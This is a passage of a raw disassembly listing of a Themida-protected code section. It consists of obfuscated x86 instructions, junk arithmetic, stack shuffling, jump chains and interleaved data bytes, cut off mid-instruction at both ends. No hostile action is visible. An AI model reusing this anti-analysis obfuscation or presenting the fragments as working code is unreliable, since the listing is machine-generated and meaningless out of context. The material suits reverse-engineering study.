ebx jmp loc_54ABF5 ; --------------------------------------------------------------------------- byte_54F79F db 66h ; DATA XREF: Themida_:005418F0o dd 81240C8Bh, 4ECh, 24148900h, 426768h, 524DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F7B6: ; CODE XREF: Themida_:0054E93Bj inc eax xchg eax, [edi+24h] jmp loc_553980 ; --------------------------------------------------------------------------- loc_54F7BF: ; CODE XREF: Themida_:0054358Dj xor ecx, 70676C2Fh push 2FB6h jmp loc_55375A ; --------------------------------------------------------------------------- db 33h dd 3CE92434h, 51FFFFBBh, 0AC2AAEB9h, 2584E904h, 248B0000h dd 2434FF24h, 7E8F6859h, 0C890000h, 2458E924h, 0CB310000h dd 54DF6859h, 1C890000h, 24348124h, 3AD23DCDh, 2B34E95Eh dd 0E4C00000h, 80E4D005h, 0C4FE98C4h, 684CE9h db 0 ; --------------------------------------------------------------------------- loc_54F81D: ; CODE XREF: Themida_:005431CFj mov ebp, 693D6C6Ah inc ebp or ebp, 46F371AAh add ebp, 34F62257h dec ebp xor ebp, 0A4F5A045h add edx, ebp pop ebp jmp loc_54FEC4 ; --------------------------------------------------------------------------- dw 1C89h dd 1021BB24h, 814352C7h, 0C61215C3h, 0A3E3813Fh, 8128D07Ch dd 1A2517CBh, 0C4E3812Bh, 0E916C560h, 356Fh ; --------------------------------------------------------------------------- loc_54F864: ; CODE XREF: Themida_:005427D5j not al sub al, 0B8h jmp loc_54AC3F ; --------------------------------------------------------------------------- db 5Dh, 40h, 0D1h dd 0FFC083E8h, 4D71FC2Dh, 58C389B3h, 8101C383h, 296AB9CBh dd 0D1CB8176h, 43317130h, 0D2F7D387h, 8143D387h, 848000EBh dd 7C18180h, 810CC03Ah, 7F43D4C1h, 52D90135h, 0FF84A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F8AD: ; CODE XREF: Themida_:005547A6j sub [esp], ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_54FC1E ; --------------------------------------------------------------------------- loc_54F8CA: ; CODE XREF: Themida_:0054E399j shl edi, 1 shl edi, 5 jmp loc_555511 ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 43685C24h, 89000006h, 0EC83242Ch dd 241C8904h, 0FF6A94E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F8F1: ; CODE XREF: Themida_:0054C6C1j xor ebx, 77264FCEh neg ebx push eax mov eax, 31B46A9Fh jmp loc_545167 ; --------------------------------------------------------------------------- dd 121868h, 24248900h, 4240481h, 5B000000h, 4C381h, 0B5E90000h db 88h, 2 dup(0FFh) byte_54F91F db 66h ; DATA XREF: Themida_:0054185Co dd 0E924048Bh, 3126h ; --------------------------------------------------------------------------- loc_54F928: ; CODE XREF: Themida_:00555F9Dj not ecx jmp loc_54873A ; --------------------------------------------------------------------------- db 57h dd 0F2226BFh, 94C5E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F93A: ; CODE XREF: Themida_:0054218Aj xchg edi, [esp] pop esp xchg edi, edx jmp loc_54AD95 ; --------------------------------------------------------------------------- loc_54F945: ; CODE XREF: Themida_:00556881j push edi jmp loc_552071 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4EA8300h, 8B241487h, 8F542424h, 0B8502404h, 4 dd 2A7E68h, 240C8900h, 228CBB53h, 6CE931FFh, 89FFFF51h dd 0C48E9E1h, 0EB810000h, 5B7C213Ah, 0B59E9h db 0 ; --------------------------------------------------------------------------- loc_54F989: ; CODE XREF: Themida_:0054886Bj mov ebx, [esp] add esp, 4 push edi push 4053161Dh pop edi add edi, 5EC53F22h jmp loc_542BE1 ; --------------------------------------------------------------------------- loc_54F9A1: ; CODE XREF: Themida_:005472F4j not ch jmp loc_546D09 ; --------------------------------------------------------------------------- dd 0E9241C89h, 36BCh ; --------------------------------------------------------------------------- loc_54F9B0: ; CODE XREF: Themida_:005473FAj push 17D9h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_553458 ; --------------------------------------------------------------------------- loc_54F9CD: ; CODE XREF: Themida_:00543228j mov ebx, esp add ebx, 4 push ebp push 4 pop ebp add ebx, ebp pop ebp xchg ebx, [esp] pop esp jmp loc_54988C ; --------------------------------------------------------------------------- loc_54F9E8: ; CODE XREF: Themida_:0054E232j add ebx, 3AF00ECFh jmp loc_54D044 ; --------------------------------------------------------------------------- loc_54F9F3: ; CODE XREF: Themida_:0054BC0Aj pop eax and ecx, 653F5FDAh xor ecx, 1F55786Ch sub ecx, 35B7C1FFh mov eax, ecx pop ecx push ebp mov ebp, 17490D48h xor eax, ebp pop ebp jmp loc_54B70B ; --------------------------------------------------------------------------- db 59h dd 81424242h, 5A2328E2h, 176BE91Eh, 835B0000h, 314504C4h dd 0E9EB31DDh, 0FFFFCA64h ; --------------------------------------------------------------------------- loc_54FA34: ; CODE XREF: Themida_:00548CADj mov ecx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54F21D ; --------------------------------------------------------------------------- loc_54FA4E: ; CODE XREF: Themida_:0054242Bj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esi push ebx push 505E232Fh pop ebx jmp loc_54212A ; --------------------------------------------------------------------------- loc_54FA70: ; CODE XREF: Themida_:0054BC12j pop edx add esp, 4 jmp loc_54321F ; --------------------------------------------------------------------------- dd 0E9242489h, 0FFFFA01Fh, 0EEED805Ch, 0C8BE830h, 4C48324h dd 650DE9h db 0 ; --------------------------------------------------------------------------- loc_54FA95: ; CODE XREF: Themida_:00545F30j add esp, 4 add esp, 4 jmp loc_542C19 ; --------------------------------------------------------------------------- db 81h dd 0DA670CC7h, 46F7817Ah, 0C16FF36Fh, 0EFC105EFh, 8DF6E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FABA: ; CODE XREF: Themida_:005444AFj sub edx, 1 add edx, 0BA9623B4h push edx jmp loc_54FC7A ; --------------------------------------------------------------------------- loc_54FAC9: ; CODE XREF: Themida_:00552912j add esp, 4 and eax, ecx pop ecx or eax, eax jz loc_5486AB push dword ptr [edi+1Ch] push edx mov edx, 3028276Fh add [esp+4], edx pop edx pop ecx push 7048h jmp loc_542A4B ; --------------------------------------------------------------------------- aBqCsHS db 'ï Cs`h]s',0 dw 8900h dd 3DE9240Ch db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FB03: ; CODE XREF: Themida_:00543359j pop ebp shr edi, 1 sub edi, 4EDA53D9h shr edi, 4 jmp loc_550003 ; --------------------------------------------------------------------------- loc_54FB14: ; CODE XREF: Themida_:0054359Aj sub edi, 4AB46143h push esi jmp loc_556433 ; --------------------------------------------------------------------------- dword_54FB20 dd 0E92434FFh, 0FFFF46D0h ; DATA XREF: Themida_:00541998o ; --------------------------------------------------------------------------- loc_54FB28: ; CODE XREF: Themida_:005553C3j pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], edx mov edx, 66722627h jmp loc_54B2F4 ; --------------------------------------------------------------------------- db 20h, 0D5h, 5Ah dd 0F621C580h, 0F4F580DDh, 80ACC580h, 0F58029C5h, 8BEA881Bh dd 0FAE9240Ch db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FB5F: ; CODE XREF: Themida_:00555723j mov ebx, [esp] push esi mov esi, esp add esi, 4 jmp loc_548891 ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 514BE24h, 0F03127C9h, 35D0F75Eh dd 0C010891Eh, 0E2E9C231h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB8F: ; CODE XREF: Themida_:00542B1Bj add edi, ebp pop ebp sub edi, 5A0105B1h sub edi, edx add edi, 5A0105B1h jmp loc_549175 ; --------------------------------------------------------------------------- loc_54FBA5: ; CODE XREF: Themida_:0055582Ej push edx mov edx, 0 jmp loc_5560D6 ; --------------------------------------------------------------------------- dd 5C240433h, 24048F54h, 4BD55h, 42E90000h, 1FFFF4Dh, 13DBE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FBCA: ; CODE XREF: Themida_:00544520j xor edx, 0FF79F00Ah add edx, 665A3DC0h neg edx or edx, 3E94751Eh push ecx mov ecx, 152E6946h xor ecx, 238106E6h or ecx, 67F43406h jmp loc_5429CA ; --------------------------------------------------------------------------- db 81h, 0EBh, 6Bh dd 154E477h, 7640E9C3h, 0D129FFFFh, 0C577E95Ah, 0C481FFFFh dd 4, 81E78957h, 4C7h, 35ECE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FC1E: ; CODE XREF: Themida_:0054F8C5j xchg esi, [esp] pop esp xor ecx, 16B74927h add ecx, 7848B89h sub edi, 7C906878h add edi, ecx add edi, 7C906878h pop ecx push eax jmp loc_54F183 ; --------------------------------------------------------------------------- loc_54FC43: ; CODE XREF: Themida_:0054E45Dj or eax, eax jz loc_553980 push ebx mov ebx, 1Ch add ebx, edi push edx push 187Fh mov [esp], ecx push ebx mov ebx, 650D0A81h and ebx, 38455206h add ebx, 220E586Fh dec ebx xor ebx, 625A4229h jmp loc_545C59 ; --------------------------------------------------------------------------- loc_54FC7A: ; CODE XREF: Themida_:0054FAC4j add dword ptr [esp], 405D2111h mov eax, [esp] add esp, 4 jmp loc_549044 ; --------------------------------------------------------------------------- loc_54FC8F: ; CODE XREF: Themida_:0054DD11j and edx, 38E65075h add edx, 0B66181FDh jmp loc_553D4C ; --------------------------------------------------------------------------- dd 0D0884DB2h, 0E906E95Ah, 815FFFFFh, 0A527E5EBh, 0E930FF74h dd 0FFFF1E67h, 0BF243C89h, 1557229h, 3C8BFD21h, 5354E924h dd 6C81FFFFh, 6EC90424h, 8B594679h, 0C481242Ch, 4, 313C68h dd 240C8900h, 50685352h, 5B1AA106h, 0DE5CEB81h, 0DA89EA6Ah dd 56CA815Bh, 0E9449406h, 3375h ; --------------------------------------------------------------------------- loc_54FD00: ; CODE XREF: Themida_:0054CA64j sub esi, ebp pop ebp push dword ptr [esp] pop edx jmp loc_5442EA ; --------------------------------------------------------------------------- dd offset dword_4D6954+14h dd 44ADE900h, 0BB530000h, 739554D1h, 3BE7CB81h, 0EB810797h dd 767021A0h, 1C8BDF01h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5554DA ; --------------------------------------------------------------------------- loc_54FD35: ; CODE XREF: Themida_:0054E8D9j mov ecx, eax mov edx, ecx pop ecx pop eax jmp loc_550F10 ; --------------------------------------------------------------------------- dd 2474FF50h, 48F5804h, 24248B24h, 8B241C89h, 0C4832404h dd 4294E904h, 0D4BD0000h, 31315F16h, 174CE9DDh, 24890000h dd 24048324h, 24048F04h, 4F88E955h db 2 dup(0FFh) word_54FD76 dw 28Fh ; DATA XREF: Themida_:005418E0o dd 0FF1DA2E9h, 1EBE56FFh, 8109F47Dh, 196D4CF6h, 0B7EE8158h dd 810ECC08h, 4ECh, 8C8AE900h db 2 dup(0FFh) word_54FD9A dw 8951h ; DATA XREF: Themida_:00541A60o dd 4C181E1h, 50000000h, 227607B8h, 5786E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FDAE: ; CODE XREF: Themida_:00547FD6j not ecx sub ecx, 0E7A43AAAh and edi, ecx pop ecx dec edi add edi, 54D05624h jmp loc_5510C8 ; --------------------------------------------------------------------------- db 66h, 0F7h, 0DEh dd 50D6F766h, 9A8B866h, 0FF2188E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FDD5: ; CODE XREF: Themida_:0054344Dj pop ecx jmp loc_54639C ; --------------------------------------------------------------------------- loc_54FDDB: ; CODE XREF: Themida_:005484E5j pop esp mov ecx, 324F17BEh add ecx, 9C76B9Eh sub ecx, eax jmp loc_54C615 ; --------------------------------------------------------------------------- dw 3888h dd 68241C8Bh, 1707h, 89243C89h, 4C781E7h, 56000000h, 1CF7B951h dd 0DBE1538h, 1EAC7E3h, 0C08DE9CEh, 148BFFFFh, 0E1895124h dd 4C181h, 0C1830000h, 240C8704h, 0E924248Bh, 117Bh, 4C181h dd 0BD550000h, 4, 0FFEFB3E9h, 242C8BFFh, 5D8AE957h, 348B0000h dd 4C48124h, 0C1000000h, 0C68103EEh, 0F2F7D974h, 92E9F201h dd 0FFFFFFF6h, 0E95A2434h, 0FFFF86A3h ; --------------------------------------------------------------------------- loc_54FE6C: ; CODE XREF: Themida_:00551C86j xchg ebp, [esp] pop esp sub ebx, eax push ebp mov ebp, 56F653A2h push esi push edx push eax mov eax, 0FFFFFFFFh mov edx, eax push dword ptr [esp] pop eax add esp, 4 mov esi, edx pop edx sub ebp, esi pop esi not ebp and ebp, 1A7F12D6h sub ebp, 0E1ADC66Fh sub ebx, ebp pop ebp movzx ax, byte ptr [eax] push eax jmp loc_556A80 ; --------------------------------------------------------------------------- db 1, 0C7h, 81h dd 9A7388C7h, 33E95876h, 59FFFFD7h, 0E904C483h, 0FFFF5BC0h ; --------------------------------------------------------------------------- loc_54FEC4: ; CODE XREF: Themida_:0054F839j sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp jmp loc_551B5C ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4C681h, 34870000h, 24248B24h, 6AF4E9h, 4C48100h dd 87000000h, 0E95C2434h, 0FFFF2EDAh ; --------------------------------------------------------------------------- loc_54FEFC: ; CODE XREF: Themida_:0055082Cj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], esp jmp loc_545D4D ; --------------------------------------------------------------------------- loc_54FF0E: ; CODE XREF: Themida_:00546F2Fj mov ch, 8Ch sub dh, ch jmp loc_54C2BA ; --------------------------------------------------------------------------- loc_54FF17: ; CODE XREF: Themida_:0054812Fj push dword ptr [esp] jmp loc_549CC7 ; --------------------------------------------------------------------------- loc_54FF1F: ; CODE XREF: Themida_:0054BB2Dj pop dword ptr [esp] jmp loc_552135 ; --------------------------------------------------------------------------- db 2Dh dd 1F1B338Eh, 4C0835Bh, 52ED68h, 0D03CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF3A: ; CODE XREF: Themida_:0054EEE0j inc ecx inc ecx inc ecx sub ecx, 5FED7C06h jmp loc_553C70 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Eh, 8BF575Ch, 0E905EE14h, 0FFFF4EC4h dd 0E9504159h, 63EDh, 0C159CF21h, 0EF8106E7h, 0B200227Ch dd 3C8BFA29h, 4C48324h, 2474FF52h, 48F5A04h, 24248B24h dd 57243489h, 0E2E9E789h db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF8F: ; CODE XREF: Themida_:00549E5Aj mov eax, [esp] jmp loc_54CB2E ; --------------------------------------------------------------------------- loc_54FF97: ; CODE XREF: Themida_:00544C83j add ebp, 1 jmp loc_55677C ; --------------------------------------------------------------------------- aNshga db 'ShGa',0 ; DATA XREF: Themida_:00541ABCo dd 243C8900h, 688DBE56h, 0DEF7745Ch, 0FFEB3AE9h, 0C6815EFFh dd 4, 2F7B68h, 241C8900h, 4BBh, 56525500h, 60625568h, 0D6F75E40h dd 0FFE186E9h, 2434FFFFh, 4C4835Bh, 525E5456h, 4BAh, 5AD60100h dd 1687E9h, 0E8016600h, 8B665D66h, 88E9243Ch db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550003: ; CODE XREF: Themida_:0054FB0Fj add edi, 0EA43001Fh sub ebp, edi push dword ptr [esp] pop edi jmp loc_5448F1 ; --------------------------------------------------------------------------- loc_550014: ; CODE XREF: Themida_:0054D774j neg edi shr edi, 3 add edi, 0EB5EE209h add ebp, edi pop edi add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 push eax mov eax, 7A575D24h and eax, 2B73E0Fh shl eax, 8 dec eax inc eax sub eax, 171C03FCh sub ecx, eax pop eax xchg ecx, [esp] pop esp mov [esp], ebp push eax jmp loc_543E09 ; --------------------------------------------------------------------------- db 55h, 56h, 50h dd 0CA547F68h, 0A232E974h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55006A: ; CODE XREF: Themida_:0054C159j sub esi, edi mov edi, [esp] add esp, 4 jmp loc_544F17 ; --------------------------------------------------------------------------- dw 0D5F7h dd 68B4E581h, 0ED811B0Dh, 9B2C032Bh, 0FF91A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55008D: ; CODE XREF: Themida_:00544121j mov [esp], eax jmp loc_5469EF ; --------------------------------------------------------------------------- loc_550095: ; CODE XREF: Themida_:00548346j pop esi sub ebx, 56557869h jmp loc_553FD9 ; --------------------------------------------------------------------------- loc_5500A1: ; CODE XREF: Themida_:0054338Aj pop ebx push ebx push esp pop ebx add ebx, 4 sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_55014F ; --------------------------------------------------------------------------- dd 8B243487h, 0BE562424h, 4B8C3BD8h, 0E908EEC1h, 0FFFFE167h ; --------------------------------------------------------------------------- loc_5500D0: ; CODE XREF: Themida_:005509B6j add al, 81h sub al, bl sub al, 81h pop ebx pop ebx push ebp jmp loc_554AA4 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8704C183h, 535C240Ch, 0FF2741E9h, 242C89FFh, 0BE565D5Fh dd 581F2CB5h, 0F705EEC1h, 5029E9DEh, 0CD81FFFFh, 6BDE0EE0h dd 8904EC83h, 0B951241Ch, 5AA37775h, 81D1F749h, 560D0EE9h dd 81D1F70Ch, 127F86C1h, 59CB8968h, 3A03ED81h, 15E93B13h dd 0B8FFFFABh, 70EA5F4Ah, 68h, 24042900h, 0FF363FE9h db 0FFh ; --------------------------------------------------------------------------- loc_550149: ; CODE XREF: Themida_:005537E8j push ebp jmp loc_551ABD ; --------------------------------------------------------------------------- loc_55014F: ; CODE XREF: Themida_:005500B7j mov [esp], ecx mov ecx, 46DA36A9h or ecx, 4D99146Dh push eax jmp loc_55495B ; --------------------------------------------------------------------------- db 59h dd 62C4E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55016A: ; CODE XREF: Themida_:0054CA4Aj mov ecx, 78AD43C9h sub [esp+4], ecx pop ecx push dword ptr [esp] pop eax push 18A0h mov [esp], ebp push esp jmp loc_55254F ; --------------------------------------------------------------------------- loc_550186: ; CODE XREF: Themida_:00550B14j pop ecx sub cl, 0FFh jmp loc_545902 ; --------------------------------------------------------------------------- db 55h dd 0D74AE7BDh, 0D1ED8165h, 0F767EA09h, 0BE5645D5h, 433F0C7Bh dd 6560F681h, 814E7E79h, 903A06CEh, 0D0C6816Eh, 31823C43h dd 0E8895EF5h, 481505Dh, 29603224h, 0EA815A0Dh, 0D296032h dd 0FFD10158h, 815A2434h, 4C4h, 240C3300h, 0E9240C31h dd 0FFFFC424h, 0FF1936E9h, 505A54FFh, 1C80B951h, 61E940EFh dd 5FFFFFD5h, 3917E9h, 0E9F02900h, 0FFFF9F5Ch ; --------------------------------------------------------------------------- loc_550204: ; CODE XREF: Themida_:00544A19j add ecx, edx mov edx, [esp] add esp, 4 push 6A48h mov [esp], edx jmp loc_544086 ; --------------------------------------------------------------------------- loc_55021C: ; CODE XREF: Themida_:0055536Dj add eax, edx xor [eax], esi pop eax pop edx pop ebx mov esi, [esp] add esp, 4 loc_550229: ; CODE XREF: Themida_:loc_549CF1j ; Themida_:00551CA9j push dword ptr [esp] push dword ptr [esp] jmp loc_546EEB ; --------------------------------------------------------------------------- aRithH db 'R‰âhÆH',0 align 4 dd 56240489h, 0B8684B68h, 24348B69h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_5473A3 ; --------------------------------------------------------------------------- dword_55025C dd 24248B66h, 0FF18BAE9h ; DATA XREF: Themida_:00541AB4o db 0FFh ; --------------------------------------------------------------------------- loc_550265: ; CODE XREF: Themida_:005530D3j xor edx, ecx pop ecx add eax, edx pop edx add edx, eax jmp loc_555008 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 4C48304h, 0FFB4FDE9h, 0E9F889FFh, 0FFFFAAF0h ; --------------------------------------------------------------------------- loc_550288: ; CODE XREF: Themida_:0055267Cj inc eax shl eax, 2 xor eax, 7C19336Dh add ecx, 3A5C1C90h sub ecx, 0DB90870h push ebp jmp loc_548FFC ; --------------------------------------------------------------------------- db 5Dh dd 0FFE6F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5502A9: ; CODE XREF: Themida_:0054CF56j div cx sub esp, 4 mov [esp], eax push esp mov eax, [esp] push edi mov edi, esp add edi, 4 jmp loc_55625A ; --------------------------------------------------------------------------- loc_5502C4: ; CODE XREF: Themida_:00552C0Aj inc ch push edx jmp loc_5432FF ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 242C3300h, 33242C31h, 48E9242Ch db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5502E3: ; CODE XREF: Themida_:00546CE7j add esi, 3E401833h add esi, 0FFFFFFFFh add esi, 145E26B5h push ebp mov ebp, 4CDF46F7h jmp loc_5446B9 ; --------------------------------------------------------------------------- aBRHC db 'Ï*rØ',0Dh,'hÉC',0 align 4 dd 0E9241489h, 1520h, 0E9D52966h, 0FFFF73B1h ; --------------------------------------------------------------------------- loc_550318: ; CODE XREF: Themida_:0054A119j shr edi, 5 shr edi, 4 xor edi, 136184h and ecx, edi push dword ptr [esp] pop edi jmp loc_54BDAE ; --------------------------------------------------------------------------- loc_55032F: ; CODE XREF: Themida_:00544F19j mov ebp, 0CF3FEDB7h jmp loc_5464BE ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 42474FFh, 24048F5Fh, 0E924248Bh, 0FFFF17D3h dword_55034C dd 240C8B66h, 5ECA68h, 242C8900h, 81E68956h, 4C6h, 4AB85000h ; DATA XREF: Themida_:0054187Co dd 0C1463729h, 0E0C103E8h, 4E0C108h, 0FFA291E9h, 0A4EE81FFh dd 1F1EA08h, 0E3E95EF0h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550383: ; CODE XREF: Themida_:00543A45j mov ebx, 31FE424Ah push 471Dh mov [esp], eax mov eax, 0 sub eax, ebx push ebx push eax pop ebx pop eax jmp loc_546646 ; --------------------------------------------------------------------------- loc_5503A0: ; CODE XREF: Themida_:00542736j xchg edi, [esp] pop esp sub esp, 4 mov [esp], edx push 4CF9h mov [esp], edi mov edi, 13B0292h shr edi, 2 add edi, 0FFB13F5Eh mov edx, edi jmp loc_542F63 ; --------------------------------------------------------------------------- loc_5503C7: ; CODE XREF: Themida_:00548BEAj push 4328h mov [esp], ecx push 31F7h jmp loc_54616B ; --------------------------------------------------------------------------- db 59h, 81h, 0F1h dd 6B71B039h, 92E9C889h, 4FFFFEBh, 68D004C7h, 3868h, 52240C89h dd 0F188E8B6h, 2DF7E95Ah, 0E8010000h, 0EC81515Dh, 4, 0E9241C89h dd 0FFFF8AAFh, 3C192548h, 30547FDh, 0E9BBAFC8h, 0FFFFBC77h dd 8B240433h, 0C7812424h, 2, 301368h, 3AB8E900h, 3489FFFFh dd 2474FF24h, 48F5E04h, 24248B24h, 0F66F9F6h, 8BE9CCB6h dd 8B00003Eh, 0C481242Ch, 4, 5EDBBA52h, 0F7425DD0h, 8DC281DAh dd 811E6B7Fh, 9D1D38C2h, 0EBF2814Fh, 110383Dh, 34335AD6h dd 24343124h, 8B243433h, 0F7662424h, 66866F9h, 14896628h dd 9C506624h, 0FF168AE9h, 0E9EF01FFh, 0FFFF584Ah, 0E1895159h dd 4B850h, 0C1010000h, 4C18158h, 87000000h, 815C240Ch dd 621F84EAh, 432EE95Eh, 34FF0000h, 0C4815924h, 4, 0D90E9h db 0 ; --------------------------------------------------------------------------- loc_5504CD: ; CODE XREF: Themida_:005458C0j sub esi, 4 xchg esi, [esp] pop esp jmp loc_54F270 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 6CEFE95Fh, 0C281FFFFh, 2C145A81h, 0EA81DA01h, 2C145A81h dd 0FFDBC3E9h, 0C4835BFFh, 24048704h, 240C895Ch, 102E9h db 0 ; --------------------------------------------------------------------------- loc_550505: ; CODE XREF: Themida_:00545248j mov esi, 6DBD5E5Fh sub eax, esi mov esi, [esp] jmp loc_542BFC ; --------------------------------------------------------------------------- loc_550514: ; CODE XREF: Themida_:0054C132j pop edx push ebx xor dword ptr [esp], 5E573DC5h push dword ptr [esp] pop ebp jmp loc_5476B4 ; --------------------------------------------------------------------------- dw 1489h dd 0A6E8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55052E: ; CODE XREF: Themida_:00546ACEj sub esi, edx pop edx or [edi+1Ch], esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_541B1F ; --------------------------------------------------------------------------- db 52h dd 0E7895750h, 4C781h, 0EF810000h, 4, 5C243C87h, 0B2241489h dd 44B4CBh, 5BE95AD4h db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55056F: ; CODE XREF: Themida_:00548AF6j sub esi, edi jmp loc_548222 ; --------------------------------------------------------------------------- dw 248Bh dd 0E6E95124h, 0BBFFFFE0h, 2A1022F5h, 0BEE9FB31h, 0FFFFF33h dd 34FFC0B6h, 7D685687h, 0E944BE1Dh, 0FFFF8A6Ch ; --------------------------------------------------------------------------- loc_55059C: ; CODE XREF: Themida_:0054B9C1j mov eax, 4 jmp loc_555236 ; --------------------------------------------------------------------------- dw 0C583h dd 242C8704h, 2C14E95Ch, 0E95B0000h, 0FFFF413Ch ; --------------------------------------------------------------------------- loc_5505B8: ; CODE XREF: Themida_:005469EAj mov eax, 39A63F69h inc eax neg eax inc eax jmp loc_544AD9 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8704C183h, 835C240Ch, 3C8904ECh, 52E78924h, 4BAh dd 5AD70100h, 4EC81h, 34890000h, 4BE24h, 0F7290000h, 0E287E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505FA: ; CODE XREF: Themida_:00541CF3j mov edx, 4 mov edi, edx pop edx jmp loc_54BF1C ; --------------------------------------------------------------------------- db 56h dd 8D240CBEh, 10B1681Bh, 4890000h, 0E9F08924h, 0FFFF3378h dd 3972EE81h, 0C6296F2Eh, 3972C681h, 0E9966F2Eh, 29C1h ; --------------------------------------------------------------------------- loc_550630: ; CODE XREF: Themida_:00542E10j mov edx, 62CF2E78h jmp loc_543A54 ; --------------------------------------------------------------------------- dw 0EB80h dd 80F30065h, 8B6665C3h, 0C4812414h, 2, 93DE95Ah, 0C4830000h dd 0E1895104h, 4C181h, 0C1830000h, 240C8704h, 524248Bh dd 32CF6781h, 55E9F801h, 0C1000001h, 0F68106E6h, 7A60163Dh dd 348BF031h, 4C48124h, 35000000h, 24445C9Dh, 0E958C631h dd 0FFFF9AF4h, 63685251h, 0E9385204h, 0FFFFB913h dword_5506A0 dd 6824148Bh, 33BEh, 0E9243C89h, 55Bh ; DATA XREF: Themida_:00541A50o ; --------------------------------------------------------------------------- loc_5506B0: ; CODE XREF: Themida_:00553FC6j push ebp push dword ptr [esp+4] jmp loc_544635 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 81000000h, 4C1h, 2568E900h, 0E9570000h, 0FFFF8BD6h ; --------------------------------------------------------------------------- loc_5506D4: ; CODE XREF: Themida_:00549BD2j mov esi, 59F954AFh jmp loc_54F083 ; --------------------------------------------------------------------------- loc_5506DE: ; CODE XREF: Themida_:00555A6Bj mov ebp, [esp] add esp, 4 jmp loc_544A71 ; --------------------------------------------------------------------------- aSr db ',µé*',0 align 10h loc_5506F0: ; CODE XREF: Themida_:005514ADj add bl, 0DBh push ecx mov cl, 0C9h or cl, 32h sub cl, 26h push eax mov al, 0E8h jmp loc_547FC1 ; --------------------------------------------------------------------------- dd 0E95BF828h, 5183h ; --------------------------------------------------------------------------- loc_55070C: ; CODE XREF: Themida_:00547CC7j push esp push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 push edi mov edi, 7B65FA5h jmp loc_552728 ; --------------------------------------------------------------------------- loc_550725: ; CODE XREF: Themida_:005472D8j pop eax add esp, 4 jmp loc_54350A ; --------------------------------------------------------------------------- loc_550731: ; CODE XREF: Themida_:00544378j pop ebp pop ebx jmp loc_556A8E ; --------------------------------------------------------------------------- loc_550738: ; CODE XREF: Themida_:005454E0j mov eax, [esp] add esp, 4 sub ebp, esi push dword ptr [esp] pop esi jmp loc_54D23D ; --------------------------------------------------------------------------- byte_550749 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00541908o dd 0D359669Dh, 0E99C241Ch, 0FFFF2106h, 518F6866h, 240C8966h dd 0C8B60F66h, 0E99C5166h, 2BC4h, 0C3B25266h, 5A66D028h dd 0C04E0C0h, 0E9D0F601h, 207Ch ; --------------------------------------------------------------------------- loc_550780: ; CODE XREF: Themida_:0054D15Aj pop esp mov [esp], eax jmp loc_54E729 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 align 10h dd 2434FFF0h, 8324148Bh, 4C6804C4h, 0E9000021h, 0FFFF818Ch ; --------------------------------------------------------------------------- loc_5507A4: ; CODE XREF: Themida_:00546A18j xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov cl, ah jmp loc_5443D9 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E789243Ch, 4C781h, 0E9530000h, 0FFFFE6E9h dd 0CF67812Dh, 32DA6832h, 0FBE90000h, 88000038h, 8BC788F0h dd 0C4812404h, 4, 0E9E9535Ah db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5507EB: ; CODE XREF: Themida_:00549E38j sub esp, 4 mov [esp], ecx mov ecx, 41884804h xor eax, ecx mov ecx, 